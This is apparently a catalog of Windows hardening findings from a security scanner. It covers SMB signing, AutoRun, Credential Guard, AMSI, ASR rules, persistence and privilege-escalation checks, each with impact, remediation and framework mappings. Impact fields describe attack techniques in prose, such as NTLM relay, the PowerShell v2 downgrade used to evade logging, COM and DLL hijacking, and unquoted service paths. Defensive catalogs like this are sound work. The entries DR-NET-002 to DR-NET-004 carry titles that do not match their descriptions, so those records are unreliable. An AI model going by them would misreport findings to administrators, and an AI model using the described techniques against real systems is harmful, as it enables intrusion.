OWASP Web: A06:2021 - Vulnerable and Outdated Components
MITRE ATT&CK: T1210 (Lateral Movement)
NIST 800-53: CM-7, SC-8
PCI DSS 4: 2.2.4
CISA KEV
MEDIUM DR-HDN-004 — System Hardening: SMB Signing Not Required
Description: SMB message signing is not required on this endpoint, allowing unsigned SMB communications.
Impact: Without mandatory SMB signing, an attacker in a man-in-the-middle position can intercept and modify SMB traffic, perform relay attacks (NTLM relay), and hijack authenticated SMB sessions to access file shares or execute commands on other systems.
Remediation: Enable mandatory SMB signing by setting RequireSecuritySignature to 1 at HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters and LanmanWorkstation\Parameters. Apply via Group Policy: Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options > Microsoft network server/client: Digitally sign communications (always).
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1557.001 (Credential Access)
NIST 800-53: SC-8, SC-23
PCI DSS 4: 4.2.1
MEDIUM DR-HDN-007 — System Hardening: AutoRun Enabled
Description: AutoRun/AutoPlay is enabled, allowing automatic execution of programs from removable media and network drives.
Impact: Malware can be automatically executed when a USB drive, CD/DVD, or network share is accessed. This is a classic initial access vector used by worms (Conficker) and targeted attacks using planted USB devices.
Remediation: Set NoDriveTypeAutoRun to 255 (0xFF) at HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer to disable AutoRun on all drive types. Apply via Group Policy: Computer Configuration > Administrative Templates > Windows Components > AutoPlay Policies > Turn off Autoplay (All drives).
Effort: Easy
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1091 (Initial Access)
NIST 800-53: CM-7, MP-7
PCI DSS 4: 2.2.4
MEDIUM DR-HDN-010 — System Hardening: Credential Guard Not Enabled
Description: Windows Defender Credential Guard (Virtualization Based Security for credential isolation) is not enabled on this endpoint.
Impact: Without Credential Guard, NTLM hashes and Kerberos TGTs stored in LSASS memory can be extracted by tools running as local administrator. Credential Guard isolates these secrets in a hardware-backed virtual enclave that even kernel-level attackers cannot access.
Remediation: Enable Credential Guard by setting EnableVirtualizationBasedSecurity to 1 at HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard and RequirePlatformSecurityFeatures to 1 or 3. Prerequisites: UEFI firmware, Secure Boot, TPM 2.0, and 64-bit Windows 10/11 Enterprise or Server 2016+. Apply via Group Policy: Computer Configuration > Administrative Templates > System > Device Guard.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1003.001 (Credential Access)
NIST 800-53: SC-39, SC-28
PCI DSS 4: 8.3.1
MEDIUM DR-HDN-012 — Network Hardening: WPAD Enabled
Description: Web Proxy Auto-Discovery (WPAD) protocol is enabled, allowing automatic proxy configuration via DNS or DHCP.
Impact: An attacker can poison WPAD queries via LLMNR/NBNS or rogue DHCP to redirect all HTTP traffic through a malicious proxy, enabling credential interception, session hijacking, and man-in-the-middle attacks on all web traffic.
Remediation: Disable the WinHTTP Auto-Proxy Service (WinHttpAutoProxySvc) and set its startup to Disabled. In Internet Options, uncheck 'Automatically detect settings'. If proxy auto-configuration is needed, use explicit PAC file URLs rather than WPAD discovery.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1557.001 (Credential Access)
NIST 800-53: SC-8, CM-7
PCI DSS 4: 4.2.1
MEDIUM DR-HDN-013 — Monitoring: PowerShell Script Block Logging Disabled
Description: PowerShell script block logging is not enabled, preventing the recording of PowerShell script content in Windows Event Logs.
Impact: Without script block logging, PowerShell-based attacks (obfuscated download cradles, in-memory execution, AMSI bypasses) leave no forensic evidence. Incident response teams cannot determine what malicious PowerShell commands were executed.
Remediation: Enable PowerShell script block logging via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Script Block Logging. Set EnableScriptBlockLogging to 1 at HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A09:2021 - Security Logging and Monitoring Failures
MITRE ATT&CK: T1059.001 (Execution)
NIST 800-53: AU-2, AU-3, AU-12
PCI DSS 4: 10.2.1
MEDIUM DR-HDN-016 — System Hardening: PowerShell v2 Engine Available
Description: The PowerShell v2 engine is still installed as a Windows feature, providing a downgrade path that bypasses modern logging and security controls.
Impact: Attackers can invoke PowerShell v2 (powershell -version 2) to bypass AMSI, script block logging, constrained language mode, and other security features that only exist in PowerShell v5+. This is a well-documented defense evasion technique.
Remediation: Remove the PowerShell v2 engine: Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root. For Server: Remove-WindowsFeature PowerShell-V2. Verify no applications depend on PowerShell v2 before removal.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1059.001 (Execution)
NIST 800-53: CM-7, SI-16
PCI DSS 4: 2.2.4
MEDIUM DR-HDN-018 — Endpoint Protection: Defender Exclusions Present
Description: Windows Defender has file, folder, process, or extension exclusions configured that exempt certain paths or processes from scanning.
Impact: Attackers frequently target known exclusion paths to stage and execute malware. Common exclusion paths like temp directories, development folders, or application paths become safe havens for malicious payloads that will never be scanned.
Remediation: Review all Windows Defender exclusions and remove any that are not strictly necessary for application compatibility. Document the business justification for each remaining exclusion. Avoid broad exclusions (entire drives, common directories). Monitor excluded paths for suspicious file creation via separate detection mechanisms.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1562.001 (Defense Evasion)
NIST 800-53: SI-3
PCI DSS 4: 5.2.1
MEDIUM DR-HDN-021 — System Hardening: DEP Not System-Wide
Description: Data Execution Prevention (DEP) is not configured to protect all programs, only essential Windows programs and services.
Impact: Without system-wide DEP, buffer overflow exploits can execute shellcode in data memory regions. DEP prevents code execution from non-executable memory pages, making many common exploitation techniques significantly harder.
Remediation: Configure DEP to protect all programs by running: bcdedit /set nx AlwaysOn. Alternatively, configure via System Properties > Advanced > Performance Settings > Data Execution Prevention > Turn on DEP for all programs and services except those I select. Add specific exceptions only for applications that are confirmed incompatible.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1203 (Execution)
NIST 800-53: SI-16, CM-6
PCI DSS 4: 6.2.4
MEDIUM DR-HDN-024 — Policy: Audit Policy Insufficient
Description: The Windows audit policy does not log critical security events. Key audit categories such as logon events, privilege use, object access, or policy changes are not configured for success and/or failure auditing.
Impact: Without comprehensive audit logging, security incidents go undetected and uninvestigated. Login attempts, privilege escalation, file access, and policy changes occur without any record, severely impacting incident response and forensic capabilities.
Remediation: Configure advanced audit policy via Group Policy to log at minimum: Logon/Logoff (Success+Failure), Account Logon (Success+Failure), Privilege Use (Success+Failure), Object Access (Failure), Policy Change (Success+Failure), System (Success+Failure). Use auditpol to verify: auditpol /get /category:*.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A09:2021 - Security Logging and Monitoring Failures
MITRE ATT&CK: T1562.002 (Defense Evasion)
NIST 800-53: AU-2, AU-3
PCI DSS 4: 10.2.1
MEDIUM DR-HDN-025 — Service Hardening: Print Spooler Running
Description: The Print Spooler service is running on a server where printing functionality is likely not required.
Impact: The Print Spooler service has been the target of multiple critical vulnerabilities including PrintNightmare (CVE-2021-34527) enabling remote code execution and privilege escalation. Running it on servers unnecessarily increases the attack surface.
Remediation: Disable the Print Spooler service on servers that do not need printing: Stop-Service -Name Spooler -Force; Set-Service -Name Spooler -StartupType Disabled. On domain controllers, the Spooler should always be disabled as it exposes the DC to coercion attacks via the MS-RPRN protocol.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1210 (Lateral Movement)
NIST 800-53: CM-7
PCI DSS 4: 2.2.4
CISA KEV
MEDIUM DR-HDN-026 — Endpoint Protection: Application Whitelisting Not Configured
Description: Neither AppLocker nor Windows Defender Application Control (WDAC) is configured on this system. Without application whitelisting, any executable, script, or DLL can run without restriction.
Impact: Without application control, an attacker can execute arbitrary malware, scripts, and tools on the system without restriction. Application whitelisting is consistently rated as one of the most effective endpoint security controls by ACSC Essential Eight, NIST, and CIS. Its absence significantly increases the attack surface for malware execution, lateral movement tools, and post-exploitation frameworks.
Remediation: Implement AppLocker or Windows Defender Application Control (WDAC). Start in audit mode to identify legitimate applications, then switch to enforce mode. At minimum, implement script rules to block unauthorized script execution. For WDAC: create a base policy with Microsoft recommended block rules, then supplement with organization-specific allow rules. For AppLocker: configure default rules plus explicit allow rules for approved applications.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1059 (Execution)
NIST 800-53: CM-7(5), SI-7
PCI DSS 4: 5.3.1, 2.2.1
MEDIUM DR-HDN-027 — System Hardening: HVCI Not Enabled
Description: Hypervisor-Protected Code Integrity (HVCI / Memory Integrity) is not enabled on this system. HVCI uses virtualization-based security (VBS) to protect the Windows kernel code integrity verification process, preventing kernel-mode code injection and driver-based attacks.
Impact: Without HVCI, the kernel is vulnerable to code injection attacks via malicious drivers, kernel exploits, and rootkits. HVCI prevents unsigned or improperly signed kernel-mode code from executing, significantly raising the bar for kernel-level attacks. Its absence leaves the system vulnerable to bootkit/rootkit installations and kernel-mode exploit payloads.
Remediation: Enable HVCI via Group Policy: Computer Configuration > Administrative Templates > System > Device Guard > Turn On Virtualization Based Security > Virtualization Based Protection of Code Integrity = Enabled with UEFI lock. Alternatively, enable via Windows Security > Device Security > Core isolation > Memory integrity. Prerequisites: compatible CPU with virtualization extensions (Intel VT-x/AMD-V), UEFI firmware, Secure Boot enabled.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1553 (Defense Evasion)
NIST 800-53: SI-7, SI-16, CM-6
PCI DSS 4: 5.3.1
MEDIUM DR-HDN-028 — System Hardening: CredSSP Delegation Enabled
Description: Credential Security Support Provider (CredSSP) delegation is enabled, allowing this system to forward user credentials to remote servers. The AllowFreshCredentials or AllowFreshCredentialsDomain policies permit credential delegation to specified or all remote hosts.
Impact: CredSSP delegation sends the user's cleartext credentials to the remote server. If the remote server is compromised, these credentials are immediately available to the attacker. CredSSP delegation to '*' (all servers) is especially dangerous as it enables credential forwarding to any host, including attacker-controlled machines. This defeats the purpose of Restricted Admin mode and other credential protection mechanisms.
Remediation: Disable CredSSP delegation via Group Policy: Computer Configuration > Administrative Templates > System > Credentials Delegation > Allow delegating fresh credentials = Disabled. If CredSSP is required for specific administrative tasks, restrict delegation to specific trusted servers only (never use '*'). Apply CVE-2018-0886 patches. Consider using Remote Credential Guard instead of CredSSP for RDP sessions.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1550.001 (Lateral Movement)
NIST 800-53: IA-5, SC-28, AC-17
PCI DSS 4: 8.3.1, 8.3.2
MEDIUM DR-HDN-029 — Endpoint Protection: AMSI Not Registered
Description: No Antimalware Scan Interface (AMSI) provider is registered on this system. AMSI is a Windows interface that allows applications to send content (scripts, macro code, .NET assemblies) to the installed antimalware solution for scanning before execution.
Impact: Without AMSI, script-based attacks (PowerShell, VBScript, JScript, .NET) can execute malicious code without real-time scanning. AMSI is the primary defense against fileless malware, obfuscated scripts, and in-memory attacks. Its absence or deregistration is a common attacker technique (T1562.001) to disable defenses before deploying payloads.
Remediation: Verify that Windows Defender or a third-party antimalware solution with AMSI support is installed and active. Check AMSI provider registration: reg query "HKLM\SOFTWARE\Microsoft\AMSI\Providers" /s. If no providers are listed, reinstall or re-register the antimalware solution. If AMSI was deliberately tampered with, investigate as a potential compromise indicator.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1562.001 (Defense Evasion)
NIST 800-53: SI-3, SI-4
PCI DSS 4: 5.2.1, 5.3.1
MEDIUM DR-HDN-031 — System Hardening: PS Constrained Language Not Enforced
Description: PowerShell is running in Full Language Mode rather than Constrained Language Mode (CLM). Full Language Mode allows unrestricted access to .NET types, COM objects, and Win32 APIs, enabling powerful post-exploitation capabilities.
Impact: Full Language Mode enables attackers to load arbitrary .NET assemblies, invoke Win32 APIs via P/Invoke or Add-Type, create COM objects, and execute complex exploitation frameworks (Invoke-Mimikatz, PowerView, etc.) entirely in memory. Constrained Language Mode blocks these capabilities while preserving administrative scripting functionality.
Remediation: Enforce Constrained Language Mode via WDAC/AppLocker code integrity policies (the most robust method — CLM activates automatically when UMCI is enforced). Alternatively, set the __PSLockdownPolicy environment variable to 4 (system-wide), though this is less robust than WDAC enforcement. Test with administrative scripts first — CLM restricts .NET and COM access that some admin scripts require.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1059.001 (Execution)
NIST 800-53: CM-7, CM-6, SI-7
PCI DSS 4: 2.2.1
MEDIUM DR-HDN-032 — System Hardening: ASR Rules Not Configured
Description: Windows Defender Attack Surface Reduction (ASR) rules are not configured or are set to audit-only mode. ASR rules block specific behaviors commonly used by malware, such as Office macros creating child processes, obfuscated scripts, credential theft from LSASS, and untrusted USB process execution.
Impact: Without ASR rules, the system lacks behavioral protection against common attack techniques: Office macro malware, script-based attacks, credential dumping, ransomware file encryption patterns, and lateral movement techniques. ASR rules are one of the most effective free security controls available on Windows 10/11 and Server 2016+.
Remediation: Enable ASR rules via Group Policy or Intune. Recommended rules to enable in block mode: Block Office apps from creating child processes (D4F940AB-401B-4EFC-AADC-AD5F3C50688A), Block credential stealing from LSASS (9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2), Block executable content from email/webmail (BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550), Use advanced protection against ransomware (c1db55ab-c21a-4637-bb3f-a12568109d35). Start in audit mode for 2 weeks, then switch to block.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1059 (Execution)
NIST 800-53: SI-3, SI-4, CM-7
PCI DSS 4: 5.2.1, 5.3.1
MEDIUM DR-HDN-035 — Endpoint Protection: Exploit Protection Not Configured
Description: Windows Exploit Protection (successor to EMET) process mitigations are not configured. Exploit Protection applies per-process exploit mitigations such as DEP, ASLR, CFG (Control Flow Guard), heap integrity validation, and image load restrictions to protect against memory corruption exploits.
Impact: Without process-level exploit mitigations, applications are more vulnerable to memory corruption exploits (buffer overflows, use-after-free, ROP chains). Exploit Protection mitigations make exploit development significantly harder and can prevent known exploitation techniques from succeeding, even against unpatched vulnerabilities.
Remediation: Configure Exploit Protection system-wide and per-application: Windows Security > App & browser control > Exploit protection settings. Enable for high-risk applications (browsers, Office, PDF readers, Java). Key mitigations: DEP (AlwaysOn), ASLR (ForceRelocateImages, BottomUp), CFG (enabled), SEHOP (enabled). Deploy via Group Policy using an XML configuration file: Set-ProcessMitigation -PolicyFilePath exploit-protection-settings.xml.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1068 (Privilege Escalation)
NIST 800-53: SI-16, SI-7, CM-6
PCI DSS 4: 5.3.1, 6.3.2
MEDIUM DR-HDN-036 — Network Hardening: SMB Client Signing Not Required
Description: Outbound SMB connections from this host do not require packet signing. An attacker on the local network can intercept and relay SMB authentication to other targets.
Impact: Without client-side signing, NTLM relay attacks are possible. An attacker poisons name resolution (LLMNR/NBT-NS), intercepts this machine's outbound SMB authentication, and relays it to another host to execute commands or access shares.
Remediation: Set RequireSecuritySignature to 1 under HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1557.001 (Credential Access)
NIST 800-53: SC-8, SC-23
PCI DSS 4: 4.2.1
MEDIUM DR-HDN-037 — Access Control: Anonymous SAM Account Enumeration Allowed
Description: Unauthenticated users can enumerate local user accounts through the SAM database. RestrictAnonymousSAM is not enabled.
Impact: An attacker can retrieve the full list of local user accounts without any credentials, providing a target list for password spraying and brute force attacks.
Remediation: Set RestrictAnonymousSAM to 1 under HKLM\SYSTEM\CurrentControlSet\Control\Lsa.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1087.001 (Discovery)
NIST 800-53: AC-3, AC-14
PCI DSS 4: 7.2.1
MEDIUM DR-HDN-038 — System Hardening: Built-in Administrator Exempt from UAC
Description: The built-in Administrator account (RID 500) runs all processes with full elevated privileges without UAC prompts. FilterAdministratorToken is not enabled.
Impact: Any process launched by the RID-500 Administrator account runs with unrestricted administrative privileges. If an attacker obtains these credentials, post-exploitation is immediate with no elevation prompt barrier.
Remediation: Set FilterAdministratorToken to 1 under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System. Rename the built-in Administrator account.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1548.002 (Privilege Escalation)
NIST 800-53: AC-6, CM-6
PCI DSS 4: 7.2.1
MEDIUM DR-HDN-042 — Monitoring: Critical Audit Subcategories Disabled
Description: Security-critical audit subcategories are not configured. Events in these categories are not being logged, preventing detection and forensic investigation.
Impact: Without subcategory auditing for logon events, credential validation, account management, and process creation, the system cannot detect brute force attacks, pass-the-hash, unauthorized account changes, or malicious process execution.
Remediation: Enable Advanced Audit Policy via Group Policy for: Logon, User Account Management, Credential Validation, Process Creation, and Audit Policy Change subcategories.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
MITRE ATT&CK: T1562.002 (Defense Evasion)
NIST 800-53: AU-2, AU-3, AU-12
PCI DSS 4: 10.2.1, 10.2.2
MEDIUM DR-HDN-044 — Monitoring: Advanced Audit Policy Overridden by Legacy Settings
Description: Advanced Audit Policy subcategory settings are being silently overridden by legacy basic audit policy. Granular audit configurations may not be taking effect.
Impact: Without SCENoApplyLegacyAuditPolicy enabled, basic audit policy takes precedence over Advanced Audit Policy subcategory settings. Administrators who configure granular auditing may not realize their settings are being ignored, creating a false sense of security.
Remediation: Set SCENoApplyLegacyAuditPolicy to 1 under HKLM\SYSTEM\CurrentControlSet\Control\Lsa and use only Advanced Audit Policy Configuration in Group Policy.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
NIST 800-53: AU-2, AU-12
PCI DSS 4: 10.2.1
MEDIUM DR-NET-002 — Network: High-Risk Port Exposed
Description: The Windows Firewall is disabled for the Private network profile.
Impact: All network traffic is unfiltered when connected to private networks. Services and ports that should be restricted are accessible to all devices on the local network segment.
Remediation: Enable the Windows Firewall for the Private profile: Set-NetFirewallProfile -Profile Private -Enabled True.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1021 (Lateral Movement)
NIST 800-53: SC-7, CM-7
PCI DSS 4: 1.2.1
MEDIUM DR-NET-003 — Network: Proxy Configured
Description: The Windows Firewall is disabled for the Public network profile, the most exposed profile.
Impact: When connected to any public or untrusted network (airports, hotels, coffee shops), all services are exposed without any filtering. This is the highest-risk firewall misconfiguration as public networks are inherently hostile.
Remediation: Immediately enable the Windows Firewall for the Public profile: Set-NetFirewallProfile -Profile Public -Enabled True. The Public profile should have the most restrictive ruleset with all inbound connections blocked by default.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1090 (Command and Control)
NIST 800-53: SC-8
PCI DSS 4: 1.2.1
MEDIUM DR-NET-004 — Network: External DNS on Domain Host
Description: A high-risk network port is listening on this endpoint (e.g., 445/SMB, 135-139/RPC, 3389/RDP, 23/Telnet, 21/FTP, 1433/MSSQL, 3306/MySQL, 5432/PostgreSQL).
Impact: High-risk ports are frequent targets for automated scanning and exploitation. Exposed database ports enable direct SQL injection and credential brute-forcing. Exposed management ports enable remote administration attacks.
Remediation: Close or restrict access to unnecessary high-risk ports using Windows Firewall rules. For required services, restrict inbound access to specific authorized IP ranges. Consider using IPsec or VPN for administrative access to sensitive services.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1584.002 (Resource Development)
NIST 800-53: SC-20, SC-21
PCI DSS 4: 1.2.1, 1.3.1
MEDIUM DR-PERS-002 — Persistence: COM Object Hijacking
Description: COM object registrations in the HKCU registry hive override HKLM registrations for CLSIDs that are loaded by privileged processes. This COM object hijacking technique allows a user-level modification to cause a privileged process to load an attacker-controlled DLL.
Impact: COM hijacking is a stealthy persistence and privilege escalation technique. When a legitimate, privileged application loads a hijacked CLSID, it executes the attacker's DLL with the application's privileges. This survives reboots, is difficult to detect without specific monitoring, and blends with normal COM activity. Many legitimate Windows processes load COM objects during startup.
Remediation: Audit HKCU\Software\Classes\CLSID for entries that shadow HKLM CLSID registrations. Remove unauthorized CLSID overrides. Deploy Sysmon with registry monitoring (Event IDs 12-14) targeting CLSID paths. Implement application whitelisting (AppLocker/WDAC) to prevent loading of unauthorized DLLs from user-writable locations.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1546.015 (Persistence)
NIST 800-53: SI-4, CM-6, SI-7
PCI DSS 4: 11.5.1
MEDIUM DR-PERS-006 — Persistence: Print Monitor DLL
Description: Custom print monitor DLLs were found registered in the system. Print monitors are loaded by the Print Spooler service (spoolsv.exe) which runs as SYSTEM. An unauthorized print monitor DLL provides persistent, SYSTEM-level code execution.
Impact: Print monitor DLLs are loaded by the spoolsv.exe service at startup and run with SYSTEM privileges. An attacker who registers a malicious DLL as a print monitor achieves persistence that survives reboots and is difficult to detect — the DLL appears as a legitimate print subsystem component. This technique is used by APT groups for long-term persistence.
Remediation: Audit print monitor registry entries: reg query "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors" /s. Compare against known legitimate monitors (Standard TCP/IP Port, WSD Port, USB Monitor, Local Port). Remove any unknown or suspicious monitor entries. Verify DLL signatures for all registered monitor DLLs. Deploy Sysmon with registry monitoring on the Print\Monitors key.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1547.010 (Persistence)
NIST 800-53: SI-4, CM-6
PCI DSS 4: 11.5.1
MEDIUM DR-PRIV-003 — Privilege Escalation: DLL Search Order Hijacking
Description: One or more directories in the system PATH are writable by non-administrative users. Windows DLL search order loads DLLs from the application directory first, then the system directory, then each PATH directory in order. A writable PATH directory allows an attacker to place a malicious DLL that will be loaded by legitimate applications.
Impact: An attacker can place a crafted DLL in a writable PATH directory with the same name as a DLL that a privileged application expects to load. When the application runs, it loads the attacker's DLL instead, executing arbitrary code with the application's privileges. This is particularly dangerous for services and scheduled tasks running as SYSTEM.
Remediation: Audit all directories in the system PATH and remove write permissions for non-administrative users. Remove unnecessary directories from PATH. Enable SafeDllSearchMode (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode=1). Consider implementing Windows Defender Application Control (WDAC) to restrict DLL loading to signed binaries.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1574.001 (Persistence)
NIST 800-53: CM-6, CM-5, SI-7
PCI DSS 4: 2.2.1, 6.3.2
MEDIUM DR-PRIV-005 — Privilege Escalation: Unquoted Service Path
Description: One or more Windows services have unquoted executable paths containing spaces, AND at least one intermediate directory in the path is writable by non-administrative users. Windows resolves unquoted paths by trying each space-delimited segment as a potential executable.
Impact: An attacker can place an executable at a space-boundary in the unquoted path. For example, if the service path is 'C:\Program Files\Some Service\service.exe' (unquoted), placing 'C:\Program.exe' or 'C:\Program Files\Some.exe' in a writable directory causes it to execute with the service's privileges. This requires both the unquoted path AND a writable intermediate directory to be exploitable.
Remediation: Quote all service binary paths that contain spaces. Fix via registry: reg add "HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>" /v ImagePath /t REG_EXPAND_SZ /d '"C:\Program Files\...\service.exe"' /f. Additionally, restrict write permissions on all intermediate directories in service paths. Identify all unquoted paths: wmic service get name,pathname | findstr /i /v "C:\Windows" | findstr /i " ".
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1574.009 (Persistence)
NIST 800-53: CM-6, CM-5
PCI DSS 4: 2.2.1, 6.3.2
MEDIUM DR-PRIV-006 — Access Control: Named Pipe Permission Weakness
Description: Named pipes on this system have overly permissive access controls, allowing non-administrative users to read, write, or impersonate connections on pipes used by privileged services.
Impact: Improperly secured named pipes can be exploited for privilege escalation or lateral movement. An attacker can connect to a weakly-permissioned pipe to capture or relay authentication tokens, inject commands into service communication channels, or impersonate the pipe server's identity. Named pipe impersonation is a core technique in several Potato-family privilege escalation exploits.
Remediation: Audit named pipe ACLs using pipelist.exe (Sysinternals) and accesschk.exe. Restrict pipe permissions to the minimum required identities. Remove write/connect access for Authenticated Users and Everyone groups on privileged service pipes. Implement pipe security descriptors in service configurations.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1570 (Lateral Movement)
NIST 800-53: AC-3, AC-6
PCI DSS 4: 7.1.1
MEDIUM DR-PROC-003 — Process: No Executable Path
Description: One or more running processes have no associated executable path on disk. This may indicate fileless malware executing entirely from memory, process hollowing, or a process whose binary was deleted after execution.
Impact: Processes without a disk-backed executable path can indicate fileless malware executing entirely from memory, process hollowing (where a legitimate process is replaced in memory with malicious code), or an attacker who deleted the binary after launching it to hinder forensic analysis.
Remediation: Investigate each process: capture a memory dump for forensic analysis, check the parent process chain for suspicious lineage, examine loaded DLLs and handles. Implement Sysmon with process creation logging (Event ID 1) to capture full command lines and parent process details.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1055 (Defense Evasion), T1620 (Defense Evasion)
NIST 800-53: SI-3, SI-4
PCI DSS 4: 5.2.1
MEDIUM DR-RMT-002 — Remote Desktop: RDP Enabled
Description: Remote Desktop Protocol (RDP) is enabled on this system. RDP exposes the system to brute-force attacks, credential stuffing, and known RDP vulnerabilities including BlueKeep (CVE-2019-0708) and DejaBlue.
Impact: An attacker who gains RDP access obtains full interactive control of the system. Without NLA, unauthenticated attackers can reach the login screen and exploit pre-authentication vulnerabilities.
Remediation: Disable RDP if not required. If required, enforce Network Level Authentication (NLA), restrict access via firewall rules to authorized IP ranges, use an RDP gateway, and enable account lockout policies.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1021.001 (Lateral Movement)
NIST 800-53: AC-17
PCI DSS 4: 12.3.1
CISA KEV
MEDIUM DR-RMT-003 — Service Hardening: WinRM Running
Description: Windows Remote Management (WinRM) is running on this system. WinRM allows remote command execution via PowerShell remoting and is a common lateral movement vector used by attackers.
Impact: An attacker with valid credentials can use WinRM to execute arbitrary commands remotely. If basic authentication or unencrypted traffic is allowed, credentials may be captured in transit.
